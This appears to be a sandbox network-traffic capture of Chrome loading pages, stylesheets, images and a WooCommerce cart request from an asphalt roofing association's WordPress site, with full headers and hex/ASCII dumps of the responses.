2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 65 2e 65 6c 3d 3d 3d 22 22 20 7c 7c 20 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 2e 65 6c 29 20 26 26 20 65 2e 65 6c 2e 6c 65 6e 67 74 68 3d 3d 30 29 3f 20 65 2e 67 68 20 3a 20 65 2e 65 6c 3b 0d 0a 09 09 09 09 09 65 2e 67 68 20 3d 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 2e 67 68 29 20 3f 20 65 2e 67 68 20 3a 20 5b 65 2e 67 68 5d 3b 0d 0a 09 09 09 09 09 66 6f 72 20 28 76 61 72 20 69 20 69 6e 20 65 2e 72 6c 29 20 69 66 20 28 65 2e 67 68 5b 69 5d 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 20 7c 7c 20 65 2e 67 68 5b 69 5d 3d 3d 3d 30 29 20 65 2e 67 68 5b 69 5d 20 3d 20 65 2e 67 68 5b 69 2d 31 5d 3b 0d 0a 09 09 09 09 09 09 09 09 09 09 0d 0a 09 09 09 09 09 76 61 72 20 6e 6c 20 3d 20 6e 65 77 20 41 72 72 61 79 28 65 2e 72 6c 2e 6c 65 6e 67 74 68 29 2c 0d Data Ascii: e.el==="" \|\| (Array.isArray(e.el) && e.el.length==0)? e.gh : e.el;e.gh = Array.isArray(e.gh) ? e.gh : [e.gh];for (var i in e.rl) if (e.gh[i]===undefined \|\| e.gh[i]===0) e.gh[i] = e.gh[i-1];var nl = new Array(e.rl.length),
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 3e 3c 66 65 46 75 6e 63 52 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 2e 36 35 30 39 38 30 33 39 32 31 35 36 38 36 20 30 2e 34 30 33 39 32 31 35 36 38 36 32 37 34 35 22 20 2f 3e 3c 66 65 46 75 6e 63 47 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 20 31 22 20 2f 3e 3c 66 65 46 75 6e 63 42 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 2e 34 34 37 30 35 38 38 32 33 35 32 39 34 31 20 30 2e 34 22 20 2f 3e 3c 66 65 46 75 6e 63 41 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 31 20 31 22 20 2f 3e 3c 2f 66 65 43 6f Data Ascii: lor-interpolation-filters="sRGB" ><feFuncR type="table" tableValues="0.65098039215686 0.40392156862745" /><feFuncG type="table" tableValues="0 1" /><feFuncB type="table" tableValues="0.44705882352941 0.4" /><feFuncA type="table" tableValues="1 1" /></feCo
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 76 69 64 65 6f 2d 6c 69 62 72 61 72 79 2f 22 3e 3c 73 70 61 6e 3e 56 69 64 65 6f 20 4c 69 62 72 61 72 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 37 30 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 37 30 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 72 65 73 6f 75 72 63 65 73 2f 74 65 63 68 6e 69 63 61 6c 2d 62 75 6c 6c 65 74 69 6e 73 2f 22 3e 3c 73 70 61 6e 3e 54 65 63 68 6e 69 63 61 6c Data Ascii: rg/resources/video-library/"><span>Video Library</span></a></li><li id="menu-item-370" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-370"><a href="https://www.asphaltroofing.org/resources/technical-bulletins/"><span>Technical
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 37 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 2e 64 65 73 63 2d 69 6e 20 20 7b 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 37 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d Data Ascii: !important;color: #FFFFFF !important;background-color: #000000 !important;opacity: 0.7 !important;}.desc-in {font-family: Arial !important;color: #FFFFFF !important;background-color: #00000 !important;opacity: 0.7 !important;}
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 77 2d 66 6c 75 69 64 20 76 63 5f 72 6f 77 2d 6f 2d 63 6f 6e 74 65 6e 74 2d 6d 69 64 64 6c 65 20 76 63 5f 72 6f 77 2d 66 6c 65 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 63 6f 6c 75 6d 6e 20 76 63 5f 63 6f 6c 75 6d 6e 5f 63 6f 6e 74 61 69 6e 65 72 20 76 63 5f 63 6f 6c 2d 73 6d 2d 38 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 76 63 5f 63 6f 6c 75 6d 6e 2d 69 6e 6e 65 72 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 62 5f 77 72 61 70 70 65 72 22 3e 3c 68 32 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 22 20 63 6c 61 73 73 3d 22 76 63 5f 63 75 73 74 6f 6d 5f 68 65 61 64 69 6e 67 22 20 3e 41 73 70 68 61 6c 74 20 52 6f 6f 66 69 6e 67 20 47 61 6c 6c 65 72 79 3c 2f 68 32 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 70 Data Ascii: w-fluid vc_row-o-content-middle vc_row-flex"><div class="wpb_column vc_column_container vc_col-sm-8"><div class="vc_column-inner"><div class="wpb_wrapper"><h2 style="text-align: left" class="vc_custom_heading" >Asphalt Roofing Gallery</h2><div class="wp
2024-04-23 14:54:27 UTC	8192	IN	Data Raw: 65 72 20 20 77 70 62 5f 61 6e 69 6d 61 74 65 5f 77 68 65 6e 5f 61 6c 6d 6f 73 74 5f 76 69 73 69 62 6c 65 20 77 70 62 5f 66 61 64 65 49 6e 20 66 61 64 65 49 6e 20 76 63 5f 62 74 6e 33 2d 63 65 6e 74 65 72 22 20 3e 3c 61 20 63 6c 61 73 73 3d 22 76 63 5f 67 65 6e 65 72 61 6c 20 76 63 5f 62 74 6e 33 20 76 63 5f 62 74 6e 33 2d 73 69 7a 65 2d 73 6d 20 76 63 5f 62 74 6e 33 2d 73 68 61 70 65 2d 72 6f 75 6e 64 65 64 20 76 63 5f 62 74 6e 33 2d 73 74 79 6c 65 2d 66 6c 61 74 20 76 63 5f 62 74 6e 33 2d 63 6f 6c 6f 72 2d 67 72 65 79 22 20 68 72 65 66 3d 22 2f 66 72 65 71 75 65 6e 74 6c 79 2d 61 73 6b 65 64 2d 71 75 65 73 74 69 6f 6e 73 2f 22 20 74 69 74 6c 65 3d 22 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c Data Ascii: er wpb_animate_when_almost_visible wpb_fadeIn fadeIn vc_btn3-center" ><a class="vc_general vc_btn3 vc_btn3-size-sm vc_btn3-shape-rounded vc_btn3-style-flat vc_btn3-color-grey" href="/frequently-asked-questions/" title="">Learn more</a></div></div></div><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.6	50100	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:27 UTC	982	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/guide-for-homeowners/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0
2024-04-23 14:54:27 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:27 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.6	50103	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:27 UTC	983	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/guide-for-homeowners/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0
2024-04-23 14:54:27 UTC	557	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:27 UTC	7635	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.6	50104	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:28 UTC	995	OUT	GET /wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/guide-for-homeowners/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0
2024-04-23 14:54:28 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:28 GMT Content-Type: image/jpeg Content-Length: 31679 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:27:57 GMT ETag: "1be1cb4-7bbf-5d9f2f9a1d940" Accept-Ranges: bytes Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:28 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 0a 0a 0a 0a 0a 0a 0b 0c 0c 0b 0f 10 0e 10 0f 16 14 13 13 14 16 22 18 1a 18 1a 18 22 33 20 25 20 20 25 20 33 2d 37 2c 29 2c 37 2d 51 40 38 38 40 51 5e 4f 4a 4f 5e 71 65 65 71 8f 88 8f bb bb fb 01 0a 0a 0a 0a 0a 0a 0b 0c 0c 0b 0f 10 0e 10 0f 16 14 13 13 14 16 22 18 1a 18 1a 18 22 33 20 25 20 20 25 20 33 2d 37 2c 29 2c 37 2d 51 40 38 38 40 51 5e 4f 4a 4f 5e 71 65 65 71 8f 88 8f bb bb fb ff c2 00 11 08 01 90 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 01 07 08 ff da 00 08 01 01 00 00 00 00 f6 60 00 00 e0 01 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 28 b3 12 a7 48 d2 3e 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF""3 % % 3-7,),7-Q@88@Q^OJO^qeeq""3 % % 3-7,),7-Q@88@Q^OJO^qeeqX"`(H>
2024-04-23 14:54:28 UTC	8192	IN	Data Raw: 68 d4 5a f1 22 2c cf eb 24 3c f3 8c 3d 9e 6e 54 49 83 71 76 8f 56 61 92 57 78 47 39 f2 64 60 11 c6 2f b5 cd 6d 93 1d 98 24 ca bc 48 79 11 9e 4a a8 78 92 60 59 18 3a 10 b2 59 af 15 88 dd 25 f2 4f 1d bf 25 18 60 a6 9a b9 4b 32 95 d3 4a 70 68 e5 38 ba 09 4e 47 e3 72 b1 ca 1e 32 88 ca 5e 9c 2f 02 2a aa 87 c0 56 34 69 25 f2 cf 33 ba 65 34 a8 46 b6 6d 4b c4 7f b6 df fd a5 97 25 8e d5 56 eb 2f 88 f9 8d e8 a6 14 ef 39 59 a1 59 20 91 26 23 36 9a cf ac 84 24 93 f8 dc aa 58 a5 1f 1d 9c ca fc cb af d8 53 27 aa ed ad 57 f5 24 7b aa a2 4e 70 79 34 d1 00 52 0f 24 8d 87 27 fb 89 4f e0 ef d4 9f 63 7f c0 e1 7f b8 9c 67 ef fc 63 6f fb 7a 27 7c 84 70 7f 7e 8c 67 ef b0 af dd 8d bf 84 fe 7f 7f af 9f bf d5 fc e7 f7 05 4f ce 7f 72 d5 53 9f dd 10 60 6f e8 3f 38 72 2f 53 4a 30 ff Data Ascii: hZ",$<=nTIqvVaWxG9d`/m$HyJx`Y:Y%O%`K2Jph8NGr2^/*V4i%3e4FmK%V/9YY &#6$XS'W${Npy4R$'Ocgcoz'\|p~gOrS`o?8r/SJ0
2024-04-23 14:54:28 UTC	8192	IN	Data Raw: 07 f3 84 f0 ad 91 73 d3 96 65 c3 c1 62 33 81 9d 23 fe 7a a6 73 c6 76 e7 1b 8e 70 0f e4 75 07 0c 64 e7 c4 47 27 38 41 80 20 ce a8 73 e3 1f c1 8b de 08 5c e1 84 71 81 33 e1 e7 3e 11 ce 7c 7f ce 7c 7e b3 e3 ff 00 cf c4 be ce 7c 29 8d 0e 7c 4d c7 b1 1f 19 f1 80 30 8e 07 ae 8e 4f 24 46 40 39 d5 b0 46 dc e7 ae 7d f1 9f 17 38 b1 0c e8 01 3c 15 63 86 33 f8 c9 ae 47 52 ec ee d4 22 6b d3 1b 53 48 3e 67 04 a2 f0 59 b2 e4 21 e5 9d b3 c6 a5 96 4a b2 23 da 8c ff 00 30 23 2b 1c e7 29 3f 30 b2 9d de af db cf 14 32 10 0a b1 27 f8 e7 b7 2b 9b 07 92 ba 39 00 f3 84 e3 bf 7e 39 d0 b8 15 e0 53 b2 1d 6a 7a 0d e8 62 70 d8 13 2b 9f 63 20 3c 71 90 4d d1 15 72 2b 0b d3 9c 12 70 aa 4f 61 9c e7 61 8a c8 ea 18 10 32 52 03 b0 ce 41 c0 06 70 38 c1 9f cf b1 d4 60 2b 9d 97 9c 24 63 14 c3 Data Ascii: seb3#zsvpudG'8A s\q3>\|\|~\|)\|M0O$F@9F}8<c3GR"kSH>gY!J#0#+)?02'+9~9Sjzbp+c <qMr+pOaa2RAp8`+$c
2024-04-23 14:54:28 UTC	7622	IN	Data Raw: 81 1a 76 ca 65 7a 69 0d 86 0b 69 79 a0 61 e8 25 ed 71 79 88 f4 9f 23 31 5a e7 5e f9 50 8a e4 12 b9 8b 67 ba 02 2a 2b 85 22 10 ad 72 06 30 6d 62 b6 98 31 96 24 e1 d2 35 34 0b 6b 33 5e 54 57 35 11 46 59 5a c6 55 6a 48 8a 05 c8 ba 99 55 2b e3 62 09 08 46 18 aa a9 9d 98 8d 63 21 55 6b 74 47 01 2a d2 47 a8 52 c6 ab 84 5c 98 19 b5 fd 1f 89 da 99 16 da 53 75 e6 d1 b0 97 3b 4a be 5b 4a 68 14 88 f4 4d 43 b4 17 fd 1d 41 50 5a d3 ea a5 2a 6d 15 1d 6f 5d 06 44 c1 b3 15 66 b8 3c fd 39 4a 81 1c d5 21 fd fd 3d c8 04 0b cf ff 00 e9 ed 4a d8 85 b1 91 c6 50 a4 31 ec f5 14 7e 9a 9c d9 a9 de ae ce aa 83 9e a7 a8 a8 a6 51 14 c5 5a 28 a9 d3 56 8e 80 f7 13 f8 88 c8 40 17 b9 5b 9c fb 8c 62 a4 0b ae 01 a8 95 59 00 36 2b 86 f9 f6 9b c4 1d fd f3 4f 64 da cd 71 dc d3 5d c2 66 49 d7 Data Ascii: veziiya%qy#1Z^Pg+"r0mb1$54k3^TW5FYZUjHU+bFc!UktGGR\Su;J[JhMCAPZ*mo]Df<9J!=JP1~QZ(V@[bY6+Odq]fI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.6	50105	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:28 UTC	1063	OUT	POST /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Content-Length: 18 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.asphaltroofing.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/guide-for-homeowners/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:28 UTC	18	OUT	Data Raw: 74 69 6d 65 3d 31 37 31 33 38 38 34 30 36 36 39 31 35 Data Ascii: time=1713884066915
2024-04-23 14:54:29 UTC	618	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:29 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Access-Control-Allow-Origin: https://www.asphaltroofing.org Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding
2024-04-23 14:54:29 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.6	50106	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:28 UTC	974	OUT	GET /wp-content/uploads/2017/04/roofing.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/guide-for-homeowners/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
